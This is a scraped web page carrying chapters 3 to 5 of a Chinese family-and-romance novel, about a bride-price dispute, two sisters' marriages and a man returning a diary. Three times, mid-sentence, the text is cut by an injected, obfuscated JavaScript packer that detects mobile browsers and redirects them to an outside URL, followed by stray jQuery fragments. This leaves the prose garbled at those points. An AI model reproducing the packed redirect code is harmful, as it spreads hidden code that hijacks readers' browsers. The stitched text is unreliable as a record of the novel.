《失心小岛》 3. 第 3 章 彭文君说丈夫不同意她出去工作。一是家里不缺这点钱,二是对她不放心。 唐盈的姐夫是个目光如豆的小男人,平时彭文君多和外面的异性搭几句话他都要多心。每次两口子为他的小心眼吵嘴,他都要提当年先上车后补票的事,好像提了这个就能坐实彭文君是个风流的女人。 彭文君能忍,除了为了孩子,也因为男方家条件确实不错。丈夫是独生子,家里有六套拆迁房,公婆还算明事理,能帮衬。 她今年三十二了,总是想着,随着年老色衰,她老公身上的这点臭毛病或许会好转。 彭芳问:“那你就这样妥协了?” “我能怎么办。” 彭芳急了,“最开始是你自己想出去上班,你说你过够了手心朝上的日子,我是替你着想才跟你老公提,现在倒好,你们两口子谈妥了,我成了撺掇你们夫妻不和的恶人了。” 彭文君语气无奈,“他没这样想你。” “他是什么人我能不知道?” 唐盈出来打圆场,“好了好了,先吃饭吧。” 彭芳负气回了房间,觉得没有一件事顺心。 彭文君跟进去,塞了一万块钱现金到彭芳的手上,“我一提要出去工作,我公公就给我封了个红包,喏,都在这里了,孝敬你的。” 彭芳眼皮都不抬。 唐盈又道:“妈,谷瑞安说,十六万八的彩礼,他爸妈同意了。” “都出去都出去。”彭芳把姐妹俩赶出房门。口口声声都是钱,说得好像她是个靠卖女儿获利的黑心老母亲。 彭文君耸耸肩膀,去厨房里洗了手,坐在了沙发上。 房子小,早年唐盈的奶奶跟着他们一起生活,餐厅早就改成了卧室。后来家里只剩下唐盈和彭芳两个人,渐渐地,茶几变成了餐桌。 “爸留的烟?”彭文君轻车熟路地从茶几下层的抽屉里找到唐正光放在家里的打火机,打开这盒南京,抽出一根点燃。 唐盈把加热的猪耳朵端出来放到彭文君近处,“你什么时候学会抽烟了?” 彭文君一笑而过,“爸刚当上主任就抽上贵烟了。” “别人给的。现在他身体不好,我们都不让他抽。” “他女朋友你见过吗?”彭文君压低声音。 唐盈摇了摇头。 彭文君瞥了彭芳卧室的门一眼,吐出一口长长的烟雾。 傍晚孟冬杨回了霓城。 唐久安夫妇准备了特产托他带给长辈,他先回了趟父母家。父亲晚上通常有应酬,母亲最近在学美声,这个点在上课。 家里只有阿姨在,她问孟冬杨要不要留下来吃晚饭,孟冬杨说不劳烦她准备晚餐,去花园里牵了狗,从后门出,去河边遛狗。 卡卡是一只十四岁的金毛,走路慢吞吞的。一人一狗走到无人的地方,孟冬杨放开绳链,让卡卡自由活动,稳重的暮年狗并不到处乱跑,安静地匍匐在主人的脚边。 暮冬夕照,河面上满是碎金。孟冬杨摘了手套,坐在路边的长椅上,点燃一根烟。 一刻钟后,他把卡卡送回去,开车回了自己家。 钟点工来打扫过了,空气是消毒和净化过的味道。 孟冬杨洗完澡,换上居家的衣服,在冰箱里找到一些食材,开始简单烹饪。 等罗宋汤煮好的间隙,他找来唐盈给的摘抄本,摊开在岛台上。是他从几个本子里随意拿出来的一本,打开似是唐臻的笔迹,但内容显然不是由唐臻撰写。 仔细查阅,发现这是一本支教日记。 他又往后翻了翻,某一页,贴着一张合照,扎马尾的唐盈搂着三个系红领带的学生,眼睛笑成月牙。 下面记录着拍摄的时间和地点——2013年冬摄于三江侗族自治县林溪镇中心小学 是唐盈三年前的照片。 晚上姐妹俩在唐正光那儿吃饭。 夏天唐正光才从前妻彭芳那儿搬出来,短短数月,就有了新生活。他的女朋友翟莉是妇幼保健院的护士,这处房子正是翟莉的。 彭文君多带了一份给翟莉的礼物上门,不承想翟莉有夜班,不在家。她打量这个温馨的小家,客厅挂着一张母女合照,女儿和母女很像,都是细长的眉眼和洁白的皮肤。 她问唐正光:“这个阿姨的女儿多大了?” 唐正光应声,“比你小两岁。” “挺漂亮的,是做什么的?” “小姑娘自己开店。”唐正光伸手比了个“二”,“开了两家甜品店,生意很好的。” 说罢递给彭文君跟唐盈两张甜品店的充值卡。一张是他前几天充面子充的,另一张是翟莉的女儿送的。 唐盈看见店名——馨子cake,觉得眼熟,回想一下,谷瑞安前阵子给他买过这家的提拉米苏。 谷瑞安说这是青阳现在最有格调的甜品店。 看见唐正光和翟莉发展迅速,对方的女儿似乎也认可老唐,彭文君想,老唐和彭芳将彻底分道扬镳。 这样也好,结束争吵,结束怨恨,唐盈的耳根会变得清净。如今还需要他们俩齐心协力的,只剩下唐盈的婚事。他们只要在亲家面前和和气气,不让唐盈为难就好。 彭文君叮嘱唐正光道:“小谷家里这几年情况不太好,妈有时候心里没个数,唐盈的婚事你要多上心。” 唐正光说:“你不会觉得十六万八的彩礼很多吧,小谷他哥结婚的时候他们可是给了女方十八万八,这事我跟你妈是打听过的。” 看来两人思路一致,这是好事。彭文君又说:“彩礼多几万少几万不重要,就是妈那张嘴,太厉害了,小谷受得了,他爸妈不一定受得了,到时候还不是让唐盈夹在中间为难嘛。” “你这话才是说错了,丈母娘和老丈人要是不厉害点,那闺女嫁到人家家里就会受欺负。你想想,你老公这次为什么不跟你一起回来,那还不是因为怕丈母娘嘛。” “光怕有什么用。”彭文君叹了口气。 “怎么了,你老公你公婆对你不好了?” “也不是,好多事情跟你说不明白。” “有什么说不明白的,过得好就过,过不好就离,大不了把孩子带回娘家,孩子跟着唐盈读书,我给你在青阳找个工作,你有娘家撑腰,你怕什么。” “动不动就说离婚,那是不负责任的表现。” 这话听着别扭,唐正光扭过脸,点了根烟。 唐盈看了眼老唐的烟盒,问:“怎么还有一包?” 何止是一包,后来孟冬杨从后备箱给唐正光拿了整整一条。这一条差不多要一千块钱。 唐盈眉心一皱,“唐臻要是还在,你收人家一条烟就算了,可唐臻不在了,那孟冬杨就跟我们唐家没关系了,你这属于厚脸皮。” 孟家正在收购青阳宾馆,走的是招投标,后续工作上免不了打交道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834433|191213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐正光觉得说了唐盈也不会懂,剜了她一眼,让她少多管闲事。 彭文君问:“你们说的这个人是谁?” 唐正光解释了一通,想起一件事,把手机递给唐盈,“你是不是把你自己的东西给小孟了,他问我呢,是寄给你还是下次来带给你。” 唐盈看了看孟冬杨和老唐的聊天记录,老唐已经替她答了,说下次带过来就好。 当时唐盈误以为那几个本子都是唐臻的,只留了最上面一本,其余一股脑拿给了孟冬杨。没想到他这么快就翻看了。 唐正光说:“我把你的联系方式给他了,过几天他来青阳,他会联系你把东西还给你。” 事已至此,也只好这样。唐盈添加了孟冬杨的微信,他的头像是一只金毛的背影。 临走,唐盈没收了孟冬杨送的这条南京九五。 彭文君难得回来一次,从唐正光这里离开后,去了老同学的聚会。彭芳和唐盈等到晚上十二点,熬不住,先睡下。 半夜唐盈起来上厕所,看见姐姐一个人坐在阳台上抽烟。 彭文君目若秋水,手指纤细,抽烟时神情迷茫,自带一股风情。 唐盈拿了她的大衣给她披上,问她晚上聚会开不开心。 彭文君说见到了好几个老同学,很开心。她没提,她的前男友也来了,当年被彭芳打出家门的那个穷小子未见发达,但有了一份体面的工作,样貌身材也没有走样,至今仍是单身。 唐盈说:“开心就多回来。” 彭文君嗤笑,“你姐夫是什么人你又不是不知道。” 唐盈浓密的眼睫垂下去。 彭文君笑道:“回来时听见你跟小谷打电话了,这么多年了,你还是有那么多话跟他说,真好。” 唐盈说谷瑞安性格很闷,基本上都是她在说。 “能愿意听就已经很好了。我跟你姐夫从来都说不到一块去。” 唐盈知道姐姐心里憋屈,可姐姐的困境是复杂的命题,她解不了。 她说:“小孩的人生很重要,你自己的人生也很重要。” 彭文君通透地回应:“但人不能太贪心,不能既要这个又要那个。” 彭芳睡眠轻,听进动静,往阳台看,姐妹俩大晚上当夜猫,又是抽烟又是叹气。她懒得管,翻了个身,给唐正光发去一条消息,让唐正光抽空陪她去一趟霓城,她必须把彭文君出门工作的事情谈妥。 唐正光恰好失眠,回复一个“好”字。 次日一早,彭芳和唐盈把彭文君送上回霓城的车。司机大哥帮忙往后备箱装东西,一包彭芳自己做的咸货和香肠、一包青阳特产,还有一袋唐盈给小侄女准备的数学资料。 车离开后,母女俩去存钱。 彭文君每次回来都给一两万的现金,这些钱是公婆给的她偷偷省下来的,交给妈妈和妹妹帮忙存着她最安心。 一万八存进去后,唐盈看了看余额,将近十五万了。 彭芳说彭文君的青春起码值一百万,又老生常谈:“大钱从来不从她手里过,她花的每一笔你姐夫那里都是有记录的。唐盈,以后你小家的财政大权必须在你手上。” 唐盈心想,她跟谷瑞安一个月工资加起来不过八千块,这算是什么大权。 不过,她不求大富大贵,日子顺遂、平安就好。 她从小就是个四平八稳的姑娘,她最大的人生愿景就是生活可以风平浪静。 4. 第 4 章 孟冬杨把唐盈那本日记放到车里,打算过几天去青阳的时候带给她。 车开去酒店,在地下车库,父亲从另一辆车上下来。父子俩同步进电梯间,孟云钦的两个助理跟在后面。 今天有股东会。 会议上孟云钦全程没有发言,孟冬杨亦坐在不起眼的地方安静旁听。散会后,总经理安排了午宴,孟云钦没有出席,孟冬杨留下与几位股东共进午餐。 临走前,孟云钦才想起来问道:“唐臻的父母和奶奶还好吗?” 孟冬杨漠然地点一下头。 孟云钦眸光加深,视线从儿子的脸上挪开,快步离去。 午餐结束后,孟冬杨顺路去自己投资的咖啡店拿豆子。 合伙人林深也在店里,见到孟冬杨,立刻送上请柬,“正好你来了,喏,收好。” 林深下个月要结婚,未婚妻是认识不到一年的一个外科医生。 孟冬杨把请柬塞进装咖啡店的牛皮纸袋里,对林深道了声恭喜。 林深说:“我知道你不喜欢参加婚礼,但我结婚你必须要来,不然我可是要翻脸的。” 两人是高中同学,关系谈不上特别亲密,但合作一直很愉快。孟冬杨不爱热闹,朋友少,挚友更少,林深跟他这样的交情,就算是能在他的朋友录里排上号。 他答应婚礼会去。 两人去到后院。 三个女顾客用完餐,正离席,看见孟冬杨和林深踏进来,眼睛都往孟冬杨脸上落。 孟冬杨找了个安静的位置坐下,一盆龟背竹挡在前面,方才几个女孩挪到花墙前拍照打卡去了。 林深递给孟冬杨自己的烟盒,调侃道:“还好没请你当伴郎,否则婚礼上都没人看我这个新郎了。” 孟冬杨抽不惯林深的烟,没接,笑道:“谁以前总是说,婚礼那一套特别俗,轮到他结婚,一场旅行打发算了。” “那不是家里领导不允许嘛。” 他跟那位医生认识不过一年,听上去他已经俯首称臣。孟冬杨不免想起过去唐臻对林深的评价,唐臻说,林深骨子里是个传统的男人,要遇到真爱,会甘心回归家庭的。 那时孟冬杨不想往下谈,唐臻又自顾自说道,她也是向往家庭生活的女孩。 店长送过来新品甜点,请两个老板品尝。 孟冬杨喜欢吃甜食,尤其钟爱巧克力和可可的味道,他很认真地挖了一勺玻璃碗里的布朗尼送进嘴里。 这时一个女孩大大方方地走过来问他,能不能加个微信。 他疏淡地笑一下,摇了摇头。 女孩尴尬地走远。 孟冬杨吃了三分之一块蛋糕后就停了嘴。再喜欢也不能贪食,糖分摄入过多的弊端不仅仅是不利于保持身材。 他问林深晚上要不要一起去打球,林深说家中领导难得有空,晚上他们约了婚礼策划。 林深揶揄他:“找不到人陪的时候就寂寞了吧。” 孟冬杨并不感到寂寞。家庭生活除了琐碎就是捆绑,还是一个人更自在。 教导主任抽查电子教案,唐盈今天多留了一会儿。 出校门时撞见一个学生家长,与她攀谈一番,走到公交车站时,天已经完全暗了下去。 小城深冬,气温极低。 唐盈裹紧围巾,来回在站台踱步,给谷瑞安打电话。 谷瑞安说晚上跟同事聚餐,晚点去找她。 唐盈问有哪些人。 谷瑞安:“对我不放心?” 唐盈嘱咐:“不许和老高走得太近,他不是什么好人。” 老高喜欢带男同事去一些风月场所,此前有过前科。 谷瑞安答允:“知道了,十点之前去找你。” “十点太晚了,外面冷,今天就算了吧,明天中午一起吃饭。” “好。” 唐盈望着路灯,光线影影绰绰的,她勾了下唇角,“想我了吗?” “嗯。” 公交车路过馨子cake,唐盈看见门口在排队,今天似乎有新品试吃活动。 唐正光周末要带她跟翟莉母女正式见面,她暂时还没敢把这件事告诉彭芳。 下车后走到家楼下,彭芳正好在寄快递。她给唐盈的外公外婆寄冬衣,手边还放着一大包香肠和真空塑封的酱牛肉。 “香肠和牛肉是给谁的?”唐盈问。 彭芳说本来也是寄给外婆的,但外婆说家里有了,那就不寄了。 唐盈想起唐正光欠孟冬杨人情的事,留下快递员,填了孟家经营的酒店地址和孟冬杨微信上的手机号码,把这包肉食寄了过去。 彭芳说:“这一包成本也要三四百呢。就这么多了,你说你吃腻了,家里我都没留。” “等下转你钱,行了吧。” “你跟这个姓孟的攀扯做什么,唐臻走了,他跟你们唐家就没关系了。” 唐盈没提唐正光拿人家烟的事,只说:“他家里生意做得大,人脉也广,兴许有一天能用上这号人呢。” 彭芳感到蹊跷,她这个小女儿墨守成规,不喜欢深谈人情世故,今天也不知道哪根筋不对。 她问:“他家里是开酒店的?那君君找工作说不定就用得上呢。” 唐盈努嘴,“再说吧。” 孟冬杨上完网球私教课,在球馆里洗了澡,洗浴用品放回后备箱。 回到车里,音响随机播放Cavetown的《This Is Home》,他降低音量,给母亲回了个电话。 通话结束,看见唐盈发来消息,说给他寄了一点家里做的香肠,寄到他工作的酒店了。 没问他家里的地址就行事,这姑娘办事实在是利落。 他礼貌地回复一句感谢的话。 唐盈说不客气。 今天是老高的生日,吃完火锅,大家转场去了KTV。老高私生活有些乱,但人很仗义,工作上经常给谷瑞安便利,谷瑞安不得不交这个朋友。 所幸唐盈从来不查岗,否则今晚他真是不好交代。老高朋友多,眼下包厢里什么人都有。 半场后,一个时髦的年轻女人进入包厢,好几个人围了过去。 老高揽住女人的肩膀跟大家做介绍:“馨子甜品的老板,梅馨,让我们掌声欢迎!” 梅馨一眼看见谷瑞安,这帮人中就数他看上去最清爽。 前阵子店里有个中年男人用假.币付款,提示假.币的点钞机不在监控范围内,男人质疑店员更换纸币,跟店员扯皮推搡时,谷瑞安正好在场。 那天谷瑞安帮忙解了围。梅馨赶到店里后,送了他咖啡和小蛋糕,记住了这双清亮的眼睛。 谷瑞安隔着人群对梅馨点点头。一圈招呼打完,梅馨坐到他身侧。 他告诉梅馨,他的女朋友叫唐盈,是唐正光的女儿。 梅馨讶异,“青阳当真是小。” 这晚包间里有几个事业单位的小干部,梅馨想拉几笔单位蛋糕卡的业务,多喝了几杯酒。散场时摇摇晃晃,谁也不信任,把车钥匙往没喝酒的谷瑞安手里塞。 众人起哄。 梅馨红着脸解释道:“这是我继妹妹的男朋友,也就是我妹夫。” 老高没想到两人之间还有这一层关系,他心仪梅馨,心想谷瑞安或许是个突破口。 车里香水味道浓烈,谷瑞安不适应,想开窗,又担心凉风吹到醉酒的梅馨。 梅馨见他打了个喷嚏,开了车窗,伸手指了指扶手箱里的玻璃碎渣,“喏,香水瓶碎了。” 是今天早上她不小心打碎的。 说话间她把手伸过去拾一块玻璃碎渣。 谷瑞安见她行动不稳,扯住她的衣袖挪开她的手。靠边停了车,去路边小店买了一卷胶带,回到车上,打开灯,用胶带把剩余的玻璃残渣一点点粘了出来。 梅馨撑住脑袋打量谷瑞安这张认真的脸,男人模样周正,看起来是个踏实的人。 她问道:“你跟小唐在一起多久了?” “很多年了,我们以前是邻居。” “青梅竹马咯。” “嗯。” “好幸福啊。” 到了目的地,谷瑞安确认梅馨可以安全进家门,停好她的车,只把她送到楼栋入口。 梅馨问谷瑞安怎么回去,他说这里离他家不远,他走路回。 “开我的车吧,明天有空再还给我。” 谷瑞安摇摇头,道别后离开。 唐盈睡前刷到谷瑞安一个同事的朋友圈,得知今天是老高的生日。九宫格照片,谷瑞安出现在不起眼的角落,主角是各色美女。 她打去视频电话时,谷瑞安已经到家。 谷瑞安看她的脸色也知道她了解了实情,温声说道:“老高算我半个领导,我不好不去的。” 唐盈问:“你喜欢这种场合吗?” 谷瑞安摇头,说自己酒都没喝,同事们拉他去就是想找个司机。 唐盈知道谷瑞安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834434|191213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是正派的男人,不再往下盘问,“叔叔阿姨都睡了吧,那先挂了,你快去洗漱睡觉。” “好,晚安。” 长辈还没睡,卧室里的灯亮着。听见儿子打完电话,谷母从房间里出来,对谷瑞安说道:“找你大嫂借了三万,彩礼的钱勉强凑齐了。” “怎么找她借?”谷瑞安的大嫂并不是好相处的人。 谷母叹气,“还能找谁?好开口的都借了。这彭芳真是不地道,咱们过去是邻居,我跟你爸对唐盈也算是不错,她何苦算计得这么深。” 谷瑞安给妈妈披了件外套,“不早了,睡吧。” 屋内传来谷父咳嗽的声音,谷瑞安问:“爸复查结果怎么样?” “手术还是得做。可家里的钱紧张,等你婚事定了再说吧。” 谷瑞安洗漱后回到卧室,给唐盈发去微信:我爸状况不太好,彩礼能不能再少几万?这是我的意思,不是我妈的意思。以后我工资卡放在你那儿。 唐盈没有把手机放在床上睡觉的习惯,看到这条消息已经是第二天早上。 她深知彭芳的脾气,心里泛酸,想了又想,回复谷瑞安:说好是十六万八,不好再改口。反正只是走个过场,我妈不会拿这笔钱。你这边缺的我来凑,不让你爸妈为难,可以吗? 谷瑞安:你真好。 上班前,唐盈绕路去谷母工作的早餐店,给她送去一双羊绒手套。 店铺是谷瑞安的舅舅开的,谷母做面点师,一个月3500块的工资,半夜四点就得到店。 谷母不是不喜欢唐盈,但彩礼的事和彭芳强硬的态度梗在她心里,让她看唐盈的眼神多了几分疏远。 “阿姨,那我先去上班了。” “去吧。” 唐盈以前来,谷母不是给她塞鸡蛋就是塞肉包,今天两手空空地走,心里不免失落。 天冷了她就不再骑车,人站在公交车站,发了一会儿呆。 忽然想,人为什么要结婚?往后跟不是亲爹亲妈的人同住一个屋檐,哪怕谷瑞安对她再好,日子就能好吗? 酒店的工作人员把收到的香肠和酱牛肉送到孟冬杨的住处。 孟冬杨切了一小截香肠、十几片牛肉和南瓜一起蒸熟,再做一个蘑菇蔬菜汤。 他一个人坐在餐桌上吃晚餐。 香肠果然如那天薛晓慧夸赞的那样,十分美味,牛肉的调味也恰到好处。 他不过夜生活,晚餐吃得格外慢。 周五傍晚,孟冬杨停车在青阳实验小学附近,步行去给唐盈还日记本。 他选错了时间,这个点校门口人满为患。他只好等在人群稀少的地方。 门口一排商铺不是文具店就是培训班,想找个落脚的地方都难。 六点半唐盈才从学校里出来。 她今天上下午最后一节课,课后主任组织开了个短会,商讨下周期末考试的事情。她手机静音,五分钟前才看见孟冬杨说他到了的消息。 她快步走到孟冬杨停留的地方,急声说了两句“抱歉”和一句“久等了”。 她扎着马尾,穿浅色的毛绒外套,里面是一件姜黄色的毛衣。走得急,围巾握在手里,站定后才一圈圈围上。 厚重的白色围巾托住一张带着歉意的脸,她手指上有批作业的红笔痕迹。 孟冬杨双手放在大衣口袋里,她的笔记本也在自己的口袋里,正想拿出来,瞧她呼气搓手,问她怎么回家。 “公交车。” “我送你吧。” 来来往往的学生和家长很多,电动车随意穿过小道。孟冬杨边走,微微侧身,留意着身后的唐盈。 唐盈说:“没把车停过来,你是明智的。” 孟冬杨笑笑,“何止是车不好停,路都不好走。” 唐盈闻言,大步一迈,走到了他前面,“我给你带路。” 孟冬杨看着她的马尾甩来甩去,听见她熟悉的学生和家长跟她打招呼,不一会儿两人就走到了车边。 唐盈站定:“这个时间段我回家的路很堵,你别送我了。烦请你把日记本给我吧。” 孟冬杨把日记本从口袋里拿出来。 “啊,就在你身上啊。”唐盈接过这个带着他体温的小本子,笑一下:“你早说啊。” 原来她压根没打算让自己送,她只是来拿日记本。孟冬杨打量一下公交站台,在反方向,她走过去有段距离。 他对她说:“我要去的地方顺路,上车吧。” 5.第 5 章 唐盈纠结是坐后排还是副驾的时候,孟冬杨绕过来打开了副驾的门。她钻进去,系好安全带,把日记本放进装书本的帆布袋里。 孟冬杨上车后问:“是回家吗?” “想先去买点东西,也是顺路的。你把我放在这个地方就好了,辛苦了。”唐盈自己在导航里输入了一个地名,节省沟通成本。 十几分钟的车程,唐盈以为会很快,没有摘围巾,脖子被车里的暖空调捂出微汗。 堵在中心区域时,导航显示的时间变长,她热得受不了了,把围巾摘掉,柔软的碎发绕在白皙的脖颈上,整个人看上去轻盈不少。 孟冬杨见状,调低了空调温度,把扶手箱那瓶没开封的纯净水递了过去。 唐盈说了声谢谢,拧开瓶盖,对着窗户,昂起头喝了一小口。 “不耽误你的事吧?”她问。 “不会。” 唐盈的目光往中间区域落了一点,在扶手箱里看见护手霜和润唇膏。马鞭草味道的护手霜,难怪刚刚她觉得他递过来的日记本有淡淡的香气。 这应该是她见过的最精致的男人了。 孟冬杨问她:“还热吗?” 唐盈摇了下头。 “平时工作忙吗?” “还好。” “你教什么?” “数学。” 孟冬杨点点头,若有所思。 拥堵结束,车往老城区开。 一排一排的梧桐树顶端相接,遮住黑夜。老旧路灯发出昏黄的光芒,街边卖烤物的小摊热气氤氲。 很有烟火气的小城傍晚,万事万物都很慢。 唐盈不是手机控。孟冬杨看见她平视前方,手机自始至终没有拿出来过。 她似乎也不是健谈的人,又或者,只是跟他没有过多的话说。 孟冬杨问:“婚事定下来了吗?” “快了。”唐盈露出一个淡笑。 “什么时候办婚礼?” “明年春天。” “你满二十五了?” “满啦,我是天蝎座。” 孟冬杨是十二月的生日,摩羯座。 他笑笑,又问唐盈:“当年怎么想起来去广西支教?” 大学时睡在唐盈上铺的女孩是广西人,两个人关系好,毕业后看见网上的支教活动,一起报名参加,是很短期的一次历练。 她说:“那边风景很好。” 景色好,条件也很艰苦。天一黑寨子里就一片漆黑,住的木楼会发出清晰的老鼠出没的声响。这些她都写在日记里。 “你……看我日记了?”她后知后觉。 “抱歉,我以为是唐臻的东西。”孟冬杨发现是唐盈的日记后就阖上了本子,但还是难免看到了一些内容。 “没关系。”唐盈努了努嘴。还好自己没记什么乱七八糟的事情。 她声音忽然变轻,“你是不是经常想起臻臻?” 孟冬杨不否认。即便当时唐臻不是他的女朋友,一个关系要好的同事就这样殒命,短短三年也不足以他全然遗忘。 他在乎的人很少,真正从生命里消失的,暂且也只有唐臻一人。 因此唐臻成为一个独特的印记。 唐盈说,她也时常想念唐臻。 “你们俩小时候一起练过字吗?”孟冬杨想起她们相似的字迹。 唐盈摇头,“那时候我的字很难看,我说喜欢她的字,她就认认真真地抄了几篇散文,给我当字帖。她的成绩也很好,我上高中的时候,她还给我补过两个暑假的英语。” 她说,唐臻样样都好。 车速减慢,趋近目的地。 唐盈松开安全带,“谢谢,耽误你的时间了。” “不客气。” 唐盈打开车门,正对着的馨子cake灯光明亮,门头和橱窗精致可爱。 她回头问孟冬杨:“你赶时间吗?” 孟冬杨不明就里。 唐盈说:“这里可以停车,你等我两分钟。” 真的只用了两分钟。 唐盈提着一个纸袋快步从店里出来,走到车边,试图把东西塞进主驾,“不知道你喜不喜欢吃甜品,这家店在我们这里还挺有名的,给你尝尝。” 孟冬杨开门下了车,接过东西,“你太客气了。” “不是客气,大冬天的,吃点甜的,心情会好。”唐盈顿了顿,又道:“不知道你后续还会不会跟我爸爸打交道,他这个人……” 她欲言又止。 孟冬杨说:“巧了,我晚上正好跟你爸爸一起吃饭。” “啊?” “我们中标了,跟领导们一起吃个饭。” 唐盈纳闷,这么快吗?她道了声“恭喜”,看了看时间,同孟冬杨道别,“那你快去吧,已经六点半了。” 孟冬杨扬了下手里装甜品的纸袋,对唐盈道谢,“唐老师再见。” 梅馨在店门口停车,路边的黑色大G显眼,她视线落过去。 男人气质极佳,手里提着自己店里的东西,面前站着的年轻女孩穿着简单,背影清丽。 她上台阶进店,问店员,刚刚的顾客买了什么。 店员说有可可千层、红丝绒切片,和一盒生巧。 “这么多?”梅馨挑眉。 “刷的充值卡。” 唐盈进店时梅馨去了后面的工作间,两人没打上照面。唐盈听见一道爽脆的女声,似在问责点心师,言语锋利却不失道理。她不知道说话的人正是梅馨。 店员笑着同唐盈打招呼,“还要买些什么?” 彭芳喜欢吃榴莲,平时舍不得花钱,唐盈拿了一个榴莲千层和两个榴莲班戟,再给谷瑞安买一杯香草拿铁。 谷瑞安晚上会来家里吃饭。 梅馨训斥了一个在工作间里戴着防菌手套玩手机的员工,从里间出来时,脸色仍是不悦。 此时唐盈推开玻璃门离开。 老高发来消息,约梅馨晚上去看电影。梅馨婉拒,说晚上要陪妈妈去逛街。 周末要跟唐盈见面,梅馨和翟莉要去挑见面礼。唐正光人不错,梅馨对他很满意,听说他这个女儿大方懂事,她心里也不排斥多认识一个姐妹。 有一个当老师的妹妹会是好事。 她那个在法院工作的未来妹夫人似乎也不错。 谷瑞安在门口等唐盈,两人一起上楼。 走到四楼,灯光暗下去,四下无人,他们腻歪了一会儿。 唐盈靠在谷瑞安的胸口问他:“你妈是不是对我有意见了?” “怎么会,别多想。” 楼下邻居回家,感应灯亮起来,两个人继续往楼上走。 唐盈回头:“有什么事你要及时跟我沟通。” “好。” 吃饭时,彭芳问起两件事。一是关于谷瑞安考编,二是他家里的房子拆迁,他爸妈是打算拿钱还是拿房,拿到又对他跟他哥哥如何分配。 谷瑞安说拆迁的事还没定,考编他会努力。 唐正光在国土局和招投标混,给到彭芳的信息很明确,谷家所在的那一片区域铁定会拆。因此彭芳才强硬地要彩礼。 现在不要,等唐盈和谷瑞安领了证,失去了主动权,那后续很多事情就不好说了。何况谷瑞安的大嫂比她还要会精打细算。 彭芳又问:“二胎放开了,听说你大嫂想生个老二?” 谷瑞安点点头,“好像有这个打算。” “老大就是你妈带大的,现在好不容易上了幼儿园,又要老二,到时候还是指望你妈去带?那未来唐盈和你有了小孩,谁带?” 唐盈开口:“我们婚都没结呢,要孩子的事还早。” 彭芳搁了筷子,“孩子一带最少就是三年,难不成你三年后再要?即便你三年后再要,那会儿你婆婆都多大岁数了,你们舍得让她一个接一个地付出?她不辛苦?” 彭芳这话在理。谷瑞安闷不吭声。 唐盈撒娇道:“那等我有了孩子,你帮我带呗。我跟谷瑞安出钱,行吗?” 彭芳瞪她:“轮得到你出钱?” 谷瑞安接了话:“到时候如果真的需要您帮忙带孩子,钱我们家会出。” 吃完饭,彭芳被楼下棋牌室的老板喊去凑数。唐盈打开电视,跟谷瑞安坐在沙发上看。 “我妈就是这个性子。”唐盈叹了口气。 谷瑞安拉住她的手,“我明白,她都是为你考虑。” “结个婚怎么这么难啊。” “怪我。” 谷父是水电工,此前一直在国外做工程,收入不错。两年前病了,家里赚钱的路子自此就断了。 谷瑞安的大嫂是个强势的女人,谷瑞安的哥哥结婚后生活重心放在自己的小家,日渐变得冷漠。 谷母是家里最委屈也最辛劳的人,全家只有谷瑞安懂得心疼她。唐盈爱屋及乌,这几年对谷母非常关照。 结婚的事亦是谷母先提的。 彭芳总是说,要不是谷家还有两层楼的房子待拆迁,她死活不会同意唐盈跟谷瑞安结婚。除非谷瑞安自己能有大出息。 唐盈心里清楚,她跟谷瑞安从小一起长大,过去父母不和、姐姐寄宿,她青春期最灰暗的时光,都是谷瑞安陪在她身边。他们是互相扶持着长大的,感情深厚,不会轻易离散。 谷瑞安没什么大本事,但他安分守己,体贴踏实,愿意陪唐盈过小日子。 唐盈想,哪怕父母不能帮衬,只要他们各自工作稳定,生活就有盼头。 待到九点,谷瑞安要回家复习,从唐盈家离开。 他走了没多久,彭芳从麻将馆回来,将一张房地产宣传单拍在唐盈面前,“看看这个,你学校附近的一个楼盘。” 唐盈问:“看这个做什么?” “买房啊,我都打听过了,二胎放开,房价肯定又要涨。这个楼盘是青阳目前规格最高的小区,那绿化啊物业啊肯定都很好。” 唐盈一看价格,均价5800起,摊手道:“这么贵,我拿什么买?” 彭芳立刻拿出计算器跟她算账,说加上彩礼,她跟唐正光再添一点,凑个首付不是问题。唐盈有公积金,等之后结了婚,谷瑞安的公积金也可以抵进来,他们小两口还款压力不会太大的。 彭芳笃定道:“买涨不买跌,你看着吧,这阵子是5800,等阵子就不是这个价了。” 唐盈问:“买了写谁的名字?” “废话,当然是写你的名字。而且咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837410|191213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一定要在你跟小谷领证之前买,这样这房子就是你的婚前财产。” “那彩礼人家一下子拿了十几万,我们这样做不厚道吧。” 